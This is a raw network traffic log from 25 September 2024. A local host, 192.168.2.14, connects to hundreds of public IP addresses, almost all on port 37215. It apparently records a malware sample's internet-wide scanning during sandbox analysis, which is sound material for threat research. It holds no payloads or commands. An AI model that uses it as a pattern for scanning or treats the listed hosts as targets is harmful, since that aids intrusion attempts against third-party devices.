Sep 25, 2024 14:14:26.523545980 CEST	45288	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:26.523550987 CEST	35916	37215	192.168.2.14	41.239.114.94
Sep 25, 2024 14:14:26.523550987 CEST	52736	37215	192.168.2.14	156.212.161.32
Sep 25, 2024 14:14:26.523554087 CEST	37215	58470	41.164.93.141	192.168.2.14
Sep 25, 2024 14:14:26.523550987 CEST	63353	37215	192.168.2.14	41.34.28.21
Sep 25, 2024 14:14:26.523550987 CEST	37980	37215	192.168.2.14	156.18.192.245
Sep 25, 2024 14:14:26.523550987 CEST	37280	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:26.523550987 CEST	56766	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:26.523561954 CEST	63353	37215	192.168.2.14	156.99.199.8
Sep 25, 2024 14:14:26.523561954 CEST	63353	37215	192.168.2.14	156.38.30.116
Sep 25, 2024 14:14:26.523562908 CEST	63353	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:26.523564100 CEST	63353	37215	192.168.2.14	197.84.55.128
Sep 25, 2024 14:14:26.523566008 CEST	63353	37215	192.168.2.14	197.52.64.150
Sep 25, 2024 14:14:26.523566961 CEST	37215	43816	41.183.69.4	192.168.2.14
Sep 25, 2024 14:14:26.523571014 CEST	50770	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:26.523591995 CEST	63353	37215	192.168.2.14	197.142.4.242
Sep 25, 2024 14:14:26.523591995 CEST	63353	37215	192.168.2.14	156.30.61.21
Sep 25, 2024 14:14:26.523591995 CEST	63353	37215	192.168.2.14	41.233.172.226
Sep 25, 2024 14:14:26.523597956 CEST	63353	37215	192.168.2.14	156.232.193.116
Sep 25, 2024 14:14:26.523597956 CEST	58470	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:26.523597956 CEST	43816	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:26.523607016 CEST	60742	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:26.523608923 CEST	63353	37215	192.168.2.14	197.216.198.88
Sep 25, 2024 14:14:26.523612022 CEST	63353	37215	192.168.2.14	197.23.218.89
Sep 25, 2024 14:14:26.523616076 CEST	63353	37215	192.168.2.14	156.41.196.219
Sep 25, 2024 14:14:26.523636103 CEST	63353	37215	192.168.2.14	156.138.131.129
Sep 25, 2024 14:14:26.523648024 CEST	63353	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:26.523648024 CEST	63353	37215	192.168.2.14	41.249.188.230
Sep 25, 2024 14:14:26.523654938 CEST	63353	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:26.523654938 CEST	63353	37215	192.168.2.14	197.246.65.48
Sep 25, 2024 14:14:26.523682117 CEST	63353	37215	192.168.2.14	197.194.61.253
Sep 25, 2024 14:14:26.523682117 CEST	63353	37215	192.168.2.14	197.19.149.81
Sep 25, 2024 14:14:26.523682117 CEST	63353	37215	192.168.2.14	41.105.106.97
Sep 25, 2024 14:14:26.523689985 CEST	63353	37215	192.168.2.14	197.26.58.54
Sep 25, 2024 14:14:26.523695946 CEST	63353	37215	192.168.2.14	41.154.198.160
Sep 25, 2024 14:14:26.523699999 CEST	63353	37215	192.168.2.14	41.141.135.124
Sep 25, 2024 14:14:26.523710012 CEST	63353	37215	192.168.2.14	156.97.121.102
Sep 25, 2024 14:14:26.523721933 CEST	63353	37215	192.168.2.14	156.40.56.85
Sep 25, 2024 14:14:26.523721933 CEST	63353	37215	192.168.2.14	41.13.74.129
Sep 25, 2024 14:14:26.523721933 CEST	63353	37215	192.168.2.14	197.15.191.255
Sep 25, 2024 14:14:26.523781061 CEST	63353	37215	192.168.2.14	41.37.86.125
Sep 25, 2024 14:14:26.523782015 CEST	63353	37215	192.168.2.14	41.154.39.146
Sep 25, 2024 14:14:26.523785114 CEST	63353	37215	192.168.2.14	197.50.71.152
Sep 25, 2024 14:14:26.523785114 CEST	63353	37215	192.168.2.14	197.154.173.115
Sep 25, 2024 14:14:26.523785114 CEST	63353	37215	192.168.2.14	197.125.93.195
Sep 25, 2024 14:14:26.523785114 CEST	63353	37215	192.168.2.14	156.165.150.225
Sep 25, 2024 14:14:26.523785114 CEST	63353	37215	192.168.2.14	197.161.165.159
Sep 25, 2024 14:14:26.523785114 CEST	63353	37215	192.168.2.14	41.213.193.207
Sep 25, 2024 14:14:26.523785114 CEST	63353	37215	192.168.2.14	41.35.120.49
Sep 25, 2024 14:14:26.523791075 CEST	63353	37215	192.168.2.14	197.193.188.221
Sep 25, 2024 14:14:26.523791075 CEST	63353	37215	192.168.2.14	41.193.95.196
Sep 25, 2024 14:14:26.523792028 CEST	63353	37215	192.168.2.14	197.235.142.27
Sep 25, 2024 14:14:26.523793936 CEST	63353	37215	192.168.2.14	41.133.33.166
Sep 25, 2024 14:14:26.523793936 CEST	63353	37215	192.168.2.14	197.58.123.238
Sep 25, 2024 14:14:26.523793936 CEST	63353	37215	192.168.2.14	41.83.13.57
Sep 25, 2024 14:14:26.523796082 CEST	63353	37215	192.168.2.14	156.25.127.170
Sep 25, 2024 14:14:26.523793936 CEST	63353	37215	192.168.2.14	41.170.228.226
Sep 25, 2024 14:14:26.523796082 CEST	63353	37215	192.168.2.14	41.144.62.103
Sep 25, 2024 14:14:26.523794889 CEST	63353	37215	192.168.2.14	156.150.94.238
Sep 25, 2024 14:14:26.523796082 CEST	63353	37215	192.168.2.14	197.220.33.91
Sep 25, 2024 14:14:26.523811102 CEST	63353	37215	192.168.2.14	156.220.232.48
Sep 25, 2024 14:14:26.523817062 CEST	63353	37215	192.168.2.14	197.93.42.229
Sep 25, 2024 14:14:26.523818970 CEST	63353	37215	192.168.2.14	41.99.52.118
Sep 25, 2024 14:14:26.523832083 CEST	63353	37215	192.168.2.14	156.44.191.76
Sep 25, 2024 14:14:26.523833990 CEST	63353	37215	192.168.2.14	156.163.212.91
Sep 25, 2024 14:14:26.523843050 CEST	63353	37215	192.168.2.14	156.112.109.1
Sep 25, 2024 14:14:26.523843050 CEST	63353	37215	192.168.2.14	41.57.199.230
Sep 25, 2024 14:14:26.523854017 CEST	63353	37215	192.168.2.14	41.109.148.168
Sep 25, 2024 14:14:26.523863077 CEST	63353	37215	192.168.2.14	41.95.49.44
Sep 25, 2024 14:14:26.523874998 CEST	63353	37215	192.168.2.14	156.219.206.163
Sep 25, 2024 14:14:26.523880959 CEST	63353	37215	192.168.2.14	41.94.2.245
Sep 25, 2024 14:14:26.523884058 CEST	63353	37215	192.168.2.14	197.239.175.77
Sep 25, 2024 14:14:26.523884058 CEST	63353	37215	192.168.2.14	156.12.156.61
Sep 25, 2024 14:14:26.523900986 CEST	63353	37215	192.168.2.14	197.221.117.146
Sep 25, 2024 14:14:26.523961067 CEST	63353	37215	192.168.2.14	156.237.72.116
Sep 25, 2024 14:14:26.523962021 CEST	63353	37215	192.168.2.14	41.83.196.5
Sep 25, 2024 14:14:26.523962975 CEST	63353	37215	192.168.2.14	197.141.28.78
Sep 25, 2024 14:14:26.523962975 CEST	63353	37215	192.168.2.14	197.115.123.49
Sep 25, 2024 14:14:26.523962975 CEST	63353	37215	192.168.2.14	156.208.99.215
Sep 25, 2024 14:14:26.523962975 CEST	63353	37215	192.168.2.14	41.106.197.211
Sep 25, 2024 14:14:26.523962021 CEST	63353	37215	192.168.2.14	41.156.231.2
Sep 25, 2024 14:14:26.523964882 CEST	63353	37215	192.168.2.14	41.114.250.233
Sep 25, 2024 14:14:26.523964882 CEST	63353	37215	192.168.2.14	197.0.116.165
Sep 25, 2024 14:14:26.523967981 CEST	63353	37215	192.168.2.14	41.144.11.121
Sep 25, 2024 14:14:26.523972034 CEST	63353	37215	192.168.2.14	156.157.82.187
Sep 25, 2024 14:14:26.523972034 CEST	63353	37215	192.168.2.14	197.202.120.0
Sep 25, 2024 14:14:26.523973942 CEST	63353	37215	192.168.2.14	197.86.224.220
Sep 25, 2024 14:14:26.523973942 CEST	63353	37215	192.168.2.14	197.207.172.75
Sep 25, 2024 14:14:26.523973942 CEST	63353	37215	192.168.2.14	41.88.148.243
Sep 25, 2024 14:14:26.523973942 CEST	63353	37215	192.168.2.14	41.57.93.211
Sep 25, 2024 14:14:26.523979902 CEST	63353	37215	192.168.2.14	41.164.36.126
Sep 25, 2024 14:14:26.523981094 CEST	63353	37215	192.168.2.14	41.21.199.62
Sep 25, 2024 14:14:26.523993969 CEST	63353	37215	192.168.2.14	197.97.221.221
Sep 25, 2024 14:14:26.523993969 CEST	63353	37215	192.168.2.14	197.8.122.246
Sep 25, 2024 14:14:26.523997068 CEST	63353	37215	192.168.2.14	197.189.194.7
Sep 25, 2024 14:14:26.524008989 CEST	63353	37215	192.168.2.14	41.202.60.0
Sep 25, 2024 14:14:26.524009943 CEST	63353	37215	192.168.2.14	197.142.26.18
Sep 25, 2024 14:14:26.524028063 CEST	63353	37215	192.168.2.14	197.222.152.50
Sep 25, 2024 14:14:26.524029016 CEST	63353	37215	192.168.2.14	41.117.231.65
Sep 25, 2024 14:14:26.524029016 CEST	63353	37215	192.168.2.14	197.225.114.155
Sep 25, 2024 14:14:26.524029016 CEST	63353	37215	192.168.2.14	41.141.99.160
Sep 25, 2024 14:14:26.524048090 CEST	63353	37215	192.168.2.14	41.255.191.227
Sep 25, 2024 14:14:26.524051905 CEST	63353	37215	192.168.2.14	156.228.185.197
Sep 25, 2024 14:14:26.524063110 CEST	63353	37215	192.168.2.14	156.192.195.211
Sep 25, 2024 14:14:26.524070024 CEST	63353	37215	192.168.2.14	156.47.25.114
Sep 25, 2024 14:14:26.524072886 CEST	63353	37215	192.168.2.14	197.142.109.238
Sep 25, 2024 14:14:26.524080038 CEST	63353	37215	192.168.2.14	197.49.19.121
Sep 25, 2024 14:14:26.524082899 CEST	63353	37215	192.168.2.14	41.160.85.51
Sep 25, 2024 14:14:26.524090052 CEST	63353	37215	192.168.2.14	41.121.170.181
Sep 25, 2024 14:14:26.524156094 CEST	63353	37215	192.168.2.14	156.13.105.4
Sep 25, 2024 14:14:26.524156094 CEST	63353	37215	192.168.2.14	41.139.38.15
Sep 25, 2024 14:14:26.524157047 CEST	63353	37215	192.168.2.14	41.10.190.183
Sep 25, 2024 14:14:26.524157047 CEST	63353	37215	192.168.2.14	41.98.123.84
Sep 25, 2024 14:14:26.524157047 CEST	63353	37215	192.168.2.14	41.76.246.125
Sep 25, 2024 14:14:26.524158001 CEST	63353	37215	192.168.2.14	156.127.160.252
Sep 25, 2024 14:14:26.524163008 CEST	63353	37215	192.168.2.14	156.41.99.181
Sep 25, 2024 14:14:26.524163961 CEST	63353	37215	192.168.2.14	197.1.225.172
Sep 25, 2024 14:14:26.524164915 CEST	63353	37215	192.168.2.14	41.52.164.80
Sep 25, 2024 14:14:26.524163961 CEST	63353	37215	192.168.2.14	156.46.189.74
Sep 25, 2024 14:14:26.524163961 CEST	63353	37215	192.168.2.14	41.185.174.184
Sep 25, 2024 14:14:26.524174929 CEST	63353	37215	192.168.2.14	197.104.32.118
Sep 25, 2024 14:14:26.524177074 CEST	63353	37215	192.168.2.14	197.67.183.36
Sep 25, 2024 14:14:26.524199009 CEST	63353	37215	192.168.2.14	156.27.187.136
Sep 25, 2024 14:14:26.524199009 CEST	63353	37215	192.168.2.14	156.62.117.224
Sep 25, 2024 14:14:26.524210930 CEST	63353	37215	192.168.2.14	156.169.99.165
Sep 25, 2024 14:14:26.524210930 CEST	63353	37215	192.168.2.14	197.47.124.229
Sep 25, 2024 14:14:26.524338961 CEST	41560	37215	192.168.2.14	156.204.119.239
Sep 25, 2024 14:14:26.524338961 CEST	41560	37215	192.168.2.14	156.204.119.239
Sep 25, 2024 14:14:26.524904966 CEST	41668	37215	192.168.2.14	156.204.119.239
Sep 25, 2024 14:14:26.525671959 CEST	49820	37215	192.168.2.14	41.62.184.97
Sep 25, 2024 14:14:26.525671959 CEST	49820	37215	192.168.2.14	41.62.184.97
Sep 25, 2024 14:14:26.525882959 CEST	49928	37215	192.168.2.14	41.62.184.97
Sep 25, 2024 14:14:26.526137114 CEST	32886	37215	192.168.2.14	41.212.141.92
Sep 25, 2024 14:14:26.526137114 CEST	32886	37215	192.168.2.14	41.212.141.92
Sep 25, 2024 14:14:26.526344061 CEST	32994	37215	192.168.2.14	41.212.141.92
Sep 25, 2024 14:14:26.526838064 CEST	52878	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:26.526838064 CEST	34602	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:26.526839018 CEST	35068	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:26.526839018 CEST	39520	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:26.526839018 CEST	54742	37215	192.168.2.14	156.189.114.235
Sep 25, 2024 14:14:26.526845932 CEST	45288	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:26.526848078 CEST	54742	37215	192.168.2.14	156.189.114.235
Sep 25, 2024 14:14:26.526845932 CEST	50770	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:26.526845932 CEST	58470	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:26.527313948 CEST	54846	37215	192.168.2.14	156.189.114.235
Sep 25, 2024 14:14:26.527884960 CEST	59714	37215	192.168.2.14	41.87.151.254
Sep 25, 2024 14:14:26.527885914 CEST	49480	37215	192.168.2.14	41.32.71.209
Sep 25, 2024 14:14:26.527899981 CEST	45410	37215	192.168.2.14	156.41.234.84
Sep 25, 2024 14:14:26.527906895 CEST	43816	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:26.527981997 CEST	38494	37215	192.168.2.14	156.174.86.165
Sep 25, 2024 14:14:26.527981997 CEST	58938	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:26.527985096 CEST	46598	37215	192.168.2.14	156.239.122.27
Sep 25, 2024 14:14:26.527985096 CEST	46598	37215	192.168.2.14	156.239.122.27
Sep 25, 2024 14:14:26.527987003 CEST	60742	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:26.528036118 CEST	34298	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:26.528346062 CEST	46686	37215	192.168.2.14	156.239.122.27
Sep 25, 2024 14:14:26.528503895 CEST	37215	63353	156.94.130.72	192.168.2.14
Sep 25, 2024 14:14:26.528513908 CEST	37215	63353	197.162.20.115	192.168.2.14
Sep 25, 2024 14:14:26.528561115 CEST	63353	37215	192.168.2.14	197.162.20.115
Sep 25, 2024 14:14:26.528601885 CEST	63353	37215	192.168.2.14	156.94.130.72
Sep 25, 2024 14:14:26.528834105 CEST	45398	37215	192.168.2.14	41.255.242.176
Sep 25, 2024 14:14:26.528835058 CEST	45398	37215	192.168.2.14	41.255.242.176
Sep 25, 2024 14:14:26.528841972 CEST	37280	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:26.529324055 CEST	37215	63353	41.139.27.47	192.168.2.14
Sep 25, 2024 14:14:26.529336929 CEST	37215	63353	41.199.44.130	192.168.2.14
Sep 25, 2024 14:14:26.529345989 CEST	37215	63353	156.225.45.70	192.168.2.14
Sep 25, 2024 14:14:26.529356956 CEST	37215	63353	197.217.4.140	192.168.2.14
Sep 25, 2024 14:14:26.529366016 CEST	37215	63353	197.39.234.102	192.168.2.14
Sep 25, 2024 14:14:26.529367924 CEST	63353	37215	192.168.2.14	41.139.27.47
Sep 25, 2024 14:14:26.529371023 CEST	37215	63353	197.66.212.76	192.168.2.14
Sep 25, 2024 14:14:26.529371977 CEST	63353	37215	192.168.2.14	41.199.44.130
Sep 25, 2024 14:14:26.529381037 CEST	37215	63353	156.81.18.222	192.168.2.14
Sep 25, 2024 14:14:26.529391050 CEST	37215	63353	41.33.196.235	192.168.2.14
Sep 25, 2024 14:14:26.529402018 CEST	37215	63353	156.234.141.152	192.168.2.14
Sep 25, 2024 14:14:26.529405117 CEST	63353	37215	192.168.2.14	197.217.4.140
Sep 25, 2024 14:14:26.529406071 CEST	63353	37215	192.168.2.14	197.66.212.76
Sep 25, 2024 14:14:26.529406071 CEST	63353	37215	192.168.2.14	197.39.234.102
Sep 25, 2024 14:14:26.529411077 CEST	37215	63353	156.181.128.158	192.168.2.14
Sep 25, 2024 14:14:26.529411077 CEST	63353	37215	192.168.2.14	156.225.45.70
Sep 25, 2024 14:14:26.529411077 CEST	63353	37215	192.168.2.14	156.81.18.222
Sep 25, 2024 14:14:26.529419899 CEST	63353	37215	192.168.2.14	41.33.196.235
Sep 25, 2024 14:14:26.529421091 CEST	37215	63353	156.203.208.6	192.168.2.14
Sep 25, 2024 14:14:26.529432058 CEST	37215	63353	156.236.249.253	192.168.2.14
Sep 25, 2024 14:14:26.529442072 CEST	63353	37215	192.168.2.14	156.234.141.152
Sep 25, 2024 14:14:26.529443026 CEST	37215	63353	41.86.154.216	192.168.2.14
Sep 25, 2024 14:14:26.529445887 CEST	45486	37215	192.168.2.14	41.255.242.176
Sep 25, 2024 14:14:26.529445887 CEST	63353	37215	192.168.2.14	156.181.128.158
Sep 25, 2024 14:14:26.529449940 CEST	63353	37215	192.168.2.14	156.203.208.6
Sep 25, 2024 14:14:26.529453039 CEST	37215	63353	197.66.37.45	192.168.2.14
Sep 25, 2024 14:14:26.529462099 CEST	63353	37215	192.168.2.14	156.236.249.253
Sep 25, 2024 14:14:26.529464006 CEST	37215	63353	41.231.47.126	192.168.2.14
Sep 25, 2024 14:14:26.529469967 CEST	63353	37215	192.168.2.14	41.86.154.216
Sep 25, 2024 14:14:26.529474020 CEST	37215	63353	197.163.1.4	192.168.2.14
Sep 25, 2024 14:14:26.529484034 CEST	63353	37215	192.168.2.14	197.66.37.45
Sep 25, 2024 14:14:26.529486895 CEST	37215	63353	156.15.229.166	192.168.2.14
Sep 25, 2024 14:14:26.529498100 CEST	37215	63353	41.119.211.219	192.168.2.14
Sep 25, 2024 14:14:26.529500961 CEST	63353	37215	192.168.2.14	41.231.47.126
Sep 25, 2024 14:14:26.529506922 CEST	37215	63353	41.196.7.100	192.168.2.14
Sep 25, 2024 14:14:26.529512882 CEST	63353	37215	192.168.2.14	156.15.229.166
Sep 25, 2024 14:14:26.529517889 CEST	37215	63353	156.105.125.145	192.168.2.14
Sep 25, 2024 14:14:26.529527903 CEST	63353	37215	192.168.2.14	197.163.1.4
Sep 25, 2024 14:14:26.529529095 CEST	37215	63353	197.165.193.4	192.168.2.14
Sep 25, 2024 14:14:26.529539108 CEST	37215	63353	156.25.22.251	192.168.2.14
Sep 25, 2024 14:14:26.529548883 CEST	37215	55904	197.138.209.232	192.168.2.14
Sep 25, 2024 14:14:26.529557943 CEST	37215	63353	41.43.237.174	192.168.2.14
Sep 25, 2024 14:14:26.529567957 CEST	37215	63353	156.172.193.46	192.168.2.14
Sep 25, 2024 14:14:26.529571056 CEST	63353	37215	192.168.2.14	41.119.211.219
Sep 25, 2024 14:14:26.529577971 CEST	37215	63353	156.93.5.52	192.168.2.14
Sep 25, 2024 14:14:26.529593945 CEST	55904	37215	192.168.2.14	197.138.209.232
Sep 25, 2024 14:14:26.529601097 CEST	63353	37215	192.168.2.14	41.196.7.100
Sep 25, 2024 14:14:26.529603958 CEST	63353	37215	192.168.2.14	156.105.125.145
Sep 25, 2024 14:14:26.529604912 CEST	63353	37215	192.168.2.14	197.165.193.4
Sep 25, 2024 14:14:26.529606104 CEST	63353	37215	192.168.2.14	156.25.22.251
Sep 25, 2024 14:14:26.529606104 CEST	63353	37215	192.168.2.14	41.43.237.174
Sep 25, 2024 14:14:26.529618025 CEST	63353	37215	192.168.2.14	156.172.193.46
Sep 25, 2024 14:14:26.529618979 CEST	63353	37215	192.168.2.14	156.93.5.52
Sep 25, 2024 14:14:26.529839993 CEST	37215	63353	41.199.199.160	192.168.2.14
Sep 25, 2024 14:14:26.529850960 CEST	37215	63353	156.47.117.154	192.168.2.14
Sep 25, 2024 14:14:26.529887915 CEST	63353	37215	192.168.2.14	156.47.117.154
Sep 25, 2024 14:14:26.529891968 CEST	63353	37215	192.168.2.14	41.199.199.160
Sep 25, 2024 14:14:26.529917955 CEST	37215	63353	156.81.68.0	192.168.2.14
Sep 25, 2024 14:14:26.529927969 CEST	37215	63353	197.74.218.71	192.168.2.14
Sep 25, 2024 14:14:26.529937983 CEST	37215	63353	41.235.119.134	192.168.2.14
Sep 25, 2024 14:14:26.529949903 CEST	37215	63353	41.83.219.54	192.168.2.14
Sep 25, 2024 14:14:26.529959917 CEST	37215	63353	197.17.187.114	192.168.2.14
Sep 25, 2024 14:14:26.529968023 CEST	37215	63353	41.98.106.247	192.168.2.14
Sep 25, 2024 14:14:26.529977083 CEST	37215	63353	41.229.210.177	192.168.2.14
Sep 25, 2024 14:14:26.529987097 CEST	37215	63353	197.251.62.7	192.168.2.14
Sep 25, 2024 14:14:26.529997110 CEST	37215	63353	156.40.192.176	192.168.2.14
Sep 25, 2024 14:14:26.530008078 CEST	37215	63353	156.240.45.175	192.168.2.14
Sep 25, 2024 14:14:26.530009031 CEST	63353	37215	192.168.2.14	41.83.219.54
Sep 25, 2024 14:14:26.530011892 CEST	63353	37215	192.168.2.14	197.17.187.114
Sep 25, 2024 14:14:26.530019045 CEST	37215	63353	197.134.95.236	192.168.2.14
Sep 25, 2024 14:14:26.530020952 CEST	63353	37215	192.168.2.14	156.81.68.0
Sep 25, 2024 14:14:26.530020952 CEST	63353	37215	192.168.2.14	197.74.218.71
Sep 25, 2024 14:14:26.530021906 CEST	63353	37215	192.168.2.14	41.235.119.134
Sep 25, 2024 14:14:26.530021906 CEST	63353	37215	192.168.2.14	197.251.62.7
Sep 25, 2024 14:14:26.530028105 CEST	37215	63353	156.181.223.109	192.168.2.14
Sep 25, 2024 14:14:26.530038118 CEST	37215	63353	197.95.136.237	192.168.2.14
Sep 25, 2024 14:14:26.530041933 CEST	63353	37215	192.168.2.14	156.240.45.175
Sep 25, 2024 14:14:26.530044079 CEST	63353	37215	192.168.2.14	156.40.192.176
Sep 25, 2024 14:14:26.530046940 CEST	63353	37215	192.168.2.14	197.134.95.236
Sep 25, 2024 14:14:26.530047894 CEST	37215	63353	41.78.200.36	192.168.2.14
Sep 25, 2024 14:14:26.530056000 CEST	63353	37215	192.168.2.14	41.98.106.247
Sep 25, 2024 14:14:26.530056000 CEST	63353	37215	192.168.2.14	41.229.210.177
Sep 25, 2024 14:14:26.530061007 CEST	37215	63353	41.137.147.229	192.168.2.14
Sep 25, 2024 14:14:26.530064106 CEST	63353	37215	192.168.2.14	156.181.223.109
Sep 25, 2024 14:14:26.530081034 CEST	63353	37215	192.168.2.14	197.95.136.237
Sep 25, 2024 14:14:26.530081034 CEST	63353	37215	192.168.2.14	41.78.200.36
Sep 25, 2024 14:14:26.530102968 CEST	63353	37215	192.168.2.14	41.137.147.229
Sep 25, 2024 14:14:26.530395985 CEST	37832	37215	192.168.2.14	156.94.130.72
Sep 25, 2024 14:14:26.530858994 CEST	37215	63353	41.47.34.165	192.168.2.14
Sep 25, 2024 14:14:26.530869961 CEST	37215	63353	197.124.53.141	192.168.2.14
Sep 25, 2024 14:14:26.530881882 CEST	37215	63353	156.216.176.0	192.168.2.14
Sep 25, 2024 14:14:26.530891895 CEST	37215	63353	156.99.199.8	192.168.2.14
Sep 25, 2024 14:14:26.530898094 CEST	63353	37215	192.168.2.14	41.47.34.165
Sep 25, 2024 14:14:26.530898094 CEST	63353	37215	192.168.2.14	197.124.53.141
Sep 25, 2024 14:14:26.530900955 CEST	37215	63353	197.52.64.150	192.168.2.14
Sep 25, 2024 14:14:26.530910969 CEST	63353	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:26.530911922 CEST	37215	63353	156.38.30.116	192.168.2.14
Sep 25, 2024 14:14:26.530914068 CEST	63353	37215	192.168.2.14	156.99.199.8
Sep 25, 2024 14:14:26.530924082 CEST	37215	63353	197.84.55.128	192.168.2.14
Sep 25, 2024 14:14:26.530936003 CEST	37215	63353	41.34.28.21	192.168.2.14
Sep 25, 2024 14:14:26.530936956 CEST	63353	37215	192.168.2.14	197.52.64.150
Sep 25, 2024 14:14:26.530941963 CEST	63353	37215	192.168.2.14	156.38.30.116
Sep 25, 2024 14:14:26.530947924 CEST	63353	37215	192.168.2.14	197.84.55.128
Sep 25, 2024 14:14:26.530947924 CEST	37215	63353	197.142.4.242	192.168.2.14
Sep 25, 2024 14:14:26.530957937 CEST	37215	63353	156.30.61.21	192.168.2.14
Sep 25, 2024 14:14:26.530967951 CEST	37215	63353	41.233.172.226	192.168.2.14
Sep 25, 2024 14:14:26.530977011 CEST	37215	63353	197.216.198.88	192.168.2.14
Sep 25, 2024 14:14:26.530986071 CEST	37215	63353	197.23.218.89	192.168.2.14
Sep 25, 2024 14:14:26.530986071 CEST	63353	37215	192.168.2.14	41.34.28.21
Sep 25, 2024 14:14:26.530993938 CEST	37215	63353	156.41.196.219	192.168.2.14
Sep 25, 2024 14:14:26.531004906 CEST	37215	63353	156.232.193.116	192.168.2.14
Sep 25, 2024 14:14:26.531004906 CEST	63353	37215	192.168.2.14	197.142.4.242
Sep 25, 2024 14:14:26.531004906 CEST	63353	37215	192.168.2.14	156.30.61.21
Sep 25, 2024 14:14:26.531004906 CEST	63353	37215	192.168.2.14	41.233.172.226
Sep 25, 2024 14:14:26.531008005 CEST	63353	37215	192.168.2.14	197.23.218.89
Sep 25, 2024 14:14:26.531008005 CEST	63353	37215	192.168.2.14	197.216.198.88
Sep 25, 2024 14:14:26.531024933 CEST	37215	63353	156.138.131.129	192.168.2.14
Sep 25, 2024 14:14:26.531035900 CEST	37215	63353	197.149.161.125	192.168.2.14
Sep 25, 2024 14:14:26.531045914 CEST	37215	63353	197.167.59.99	192.168.2.14
Sep 25, 2024 14:14:26.531048059 CEST	63353	37215	192.168.2.14	156.41.196.219
Sep 25, 2024 14:14:26.531054020 CEST	63353	37215	192.168.2.14	156.232.193.116
Sep 25, 2024 14:14:26.531054974 CEST	37215	63353	41.249.188.230	192.168.2.14
Sep 25, 2024 14:14:26.531063080 CEST	63353	37215	192.168.2.14	156.138.131.129
Sep 25, 2024 14:14:26.531065941 CEST	37215	41560	156.204.119.239	192.168.2.14
Sep 25, 2024 14:14:26.531075954 CEST	37215	49820	41.62.184.97	192.168.2.14
Sep 25, 2024 14:14:26.531081915 CEST	63353	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:26.531085968 CEST	37215	32886	41.212.141.92	192.168.2.14
Sep 25, 2024 14:14:26.531091928 CEST	63353	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:26.531091928 CEST	63353	37215	192.168.2.14	41.249.188.230
Sep 25, 2024 14:14:26.531194925 CEST	50012	37215	192.168.2.14	197.162.20.115
Sep 25, 2024 14:14:26.531975985 CEST	52406	37215	192.168.2.14	41.139.27.47
Sep 25, 2024 14:14:26.532305956 CEST	37215	54742	156.189.114.235	192.168.2.14
Sep 25, 2024 14:14:26.532386065 CEST	37215	52878	41.197.196.94	192.168.2.14
Sep 25, 2024 14:14:26.532424927 CEST	52878	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:26.532519102 CEST	34908	37215	192.168.2.14	41.199.44.130
Sep 25, 2024 14:14:26.532733917 CEST	37215	39520	156.10.201.221	192.168.2.14
Sep 25, 2024 14:14:26.532742977 CEST	37215	35068	156.217.168.64	192.168.2.14
Sep 25, 2024 14:14:26.532752037 CEST	37215	34602	41.66.249.255	192.168.2.14
Sep 25, 2024 14:14:26.532761097 CEST	37215	45288	197.127.121.218	192.168.2.14
Sep 25, 2024 14:14:26.532768965 CEST	35068	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:26.532773018 CEST	39520	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:26.532779932 CEST	37215	50770	156.133.190.48	192.168.2.14
Sep 25, 2024 14:14:26.532789946 CEST	37215	58470	41.164.93.141	192.168.2.14
Sep 25, 2024 14:14:26.532804966 CEST	34602	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:26.532824039 CEST	45288	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:26.532824039 CEST	50770	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:26.532824039 CEST	58470	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:26.532855988 CEST	37215	46598	156.239.122.27	192.168.2.14
Sep 25, 2024 14:14:26.533018112 CEST	42150	37215	192.168.2.14	156.225.45.70
Sep 25, 2024 14:14:26.533121109 CEST	37215	49480	41.32.71.209	192.168.2.14
Sep 25, 2024 14:14:26.533130884 CEST	37215	59714	41.87.151.254	192.168.2.14
Sep 25, 2024 14:14:26.533152103 CEST	49480	37215	192.168.2.14	41.32.71.209
Sep 25, 2024 14:14:26.533164978 CEST	59714	37215	192.168.2.14	41.87.151.254
Sep 25, 2024 14:14:26.533262968 CEST	37215	45410	156.41.234.84	192.168.2.14
Sep 25, 2024 14:14:26.533272028 CEST	37215	43816	41.183.69.4	192.168.2.14
Sep 25, 2024 14:14:26.533282042 CEST	37215	38494	156.174.86.165	192.168.2.14
Sep 25, 2024 14:14:26.533291101 CEST	37215	58938	156.184.32.219	192.168.2.14
Sep 25, 2024 14:14:26.533292055 CEST	45410	37215	192.168.2.14	156.41.234.84
Sep 25, 2024 14:14:26.533301115 CEST	37215	60742	197.146.211.230	192.168.2.14
Sep 25, 2024 14:14:26.533308029 CEST	38494	37215	192.168.2.14	156.174.86.165
Sep 25, 2024 14:14:26.533317089 CEST	58938	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:26.533317089 CEST	43816	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:26.533339977 CEST	60742	37215	192.168.2.14	197.146.211.230
